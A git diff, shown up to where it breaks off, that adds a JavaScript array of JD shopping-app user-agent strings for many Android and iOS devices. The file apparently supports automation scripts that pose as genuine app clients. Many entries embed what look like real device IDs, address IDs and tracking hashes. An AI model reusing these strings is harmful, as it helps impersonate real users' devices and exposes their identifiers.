b/USER_AGENTS.js new file mode 100644 index 0000000..80a361d --- /dev/null +++ b/USER_AGENTS.js @@ -0,0 +1,128 @@ +const USER_AGENTS = [ + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.1.6;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.1.6;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.1.6;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.1.6;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.1.6;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.1.6;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.1.6;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'jdltapp;iPad;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2346663656561603-4353564623932316;network/wifi;model/ONEPLUS A5010;addressid/0;aid/2dfceea045ed292a;oaid/;osVer/29;appBuild/1436;psn/BS6Y9SAiw0IpJ4ro7rjSOkCRZTgR3z2K|10;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/10.5;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.1;59d6ae6e8387bd09fe046d5b8918ead51614e80a;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.26;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/59d6ae6e8387bd09fe046d5b8918ead51614e80a|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;22d679c006bf9c087abf362cf1d2e0020ebb8798;network/wifi;ADID/10857A57-DDF8-4A0D-A548-7B8F43AC77EE;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,1;addressid/2378947694;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/15.7;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/6;ads/;psn/22d679c006bf9c087abf362cf1d2e0020ebb8798|22;jdv/0|kong|t_1000170135|tuiguang|notset|1614153044558|1614153044;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;2616935633265383-5333463636261326;network/UNKNOWN;model/M2007J3SC;addressid/1840745247;aid/ba9e3b5853dccb1b;oaid/371d8af7dd71e8d5;osVer/29;appBuild/1436;psn/t7JmxZUXGkimd4f9Jdul2jEeuYLwxPrm|8;psq/6;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.6;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; M2007J3SC Build/QKQ1.200419.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;d7beab54ae7758fa896c193b49470204fbb8fce9;network/4g;ADID/97AD46C9-6D49-4642-BF6F-689256673906;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;D246836333735-3264353430393;network/4g;model/MIX 2;addressid/138678023;aid/bf8bcf1214b3832a;oaid/308540d1f1feb2f5;osVer/28;appBuild/1436;psn/Z/rGqfWBY/h5gcGFnVIsRw==|16;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/13.7;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5;network/wifi;ADID/5603541B-30C1-4B5C-A782-20D0B569D810;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/1041002757;hasOCPay/0;appBuild/101;supportBestPay/0;pv/34.6;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/eb5a9e7e596e262b4ffb3b6b5c830984c8a5c0d5|44;jdv/0|androidapp|t_335139774|appshare|CopyURL|1612612940307|1612612944;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;21631ed983b3e854a3154b0336413825ad0d6783;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;500a795cb2abae60b877ee4a1930557a800bef1c;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;f5e7b7980fb50efc9c294ac38653c1584846c3db;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;19fef5419f88076c43f5317eabe20121d52c6a61;network/wifi;ADID/00000000-0000-0000-0000-000000000000;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/3430850943;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.4;apprpd/;ref/JDLTSubMainPageViewController;psq/3;ads/;psn/19fef5419f88076c43f5317eabe20121d52c6a61|16;jdv/0|kong|t_1001327829_|jingfen|f51febe09dd64b20b06bc6ef4c1ad790#/|1614096460311|1614096511;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPhone;3.7.0;12.2;f995bc883282f7c7ea9d7f32da3f658127aa36c7;network/4g;ADID/9F40F4CA-EA7C-4F2E-8E09-97A66901D83E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,4;addressid/525064695;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/11.11;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/f995bc883282f7c7ea9d7f32da3f658127aa36c7|22;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 12.2;Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;5366566313931326-6633931643233693;network/wifi;model/Mi9 Pro 5G;addressid/0;aid/5fe6191bf39a42c9;oaid/e3a9473ef6699f75;osVer/29;appBuild/1436;psn/b3rJlGi AwLqa9AqX7Vp0jv4T7XPMa0o|5;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; Mi9 Pro 5G Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045135 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/666624049;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/54.11;apprpd/MessageCenter_MessageMerge;ref/MessageCenterController;psq/10;ads/;psn/4e6b46913a2e18dd06d6d69843ee4cdd8e033bc1|101;jdv/0|kong|t_2010804675_|jingfen|810dab1ba2c04b8588c5aa5a0d44c4bd|1614183499;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.2;c71b599e9a0bcbd8d1ad924d85b5715530efad06;network/wifi;ADID/751C6E92-FD10-4323-B37C-187FD0CF0551;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/4053561885;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/263.8;apprpd/;ref/JDLTSubMainPageViewController;psq/2;ads/;psn/c71b599e9a0bcbd8d1ad924d85b5715530efad06|481;jdv/0|kong|t_1001610202_|jingfen|3911bea7ee2f4fcf8d11fdf663192bbe|1614157052210|1614157056;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.2;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 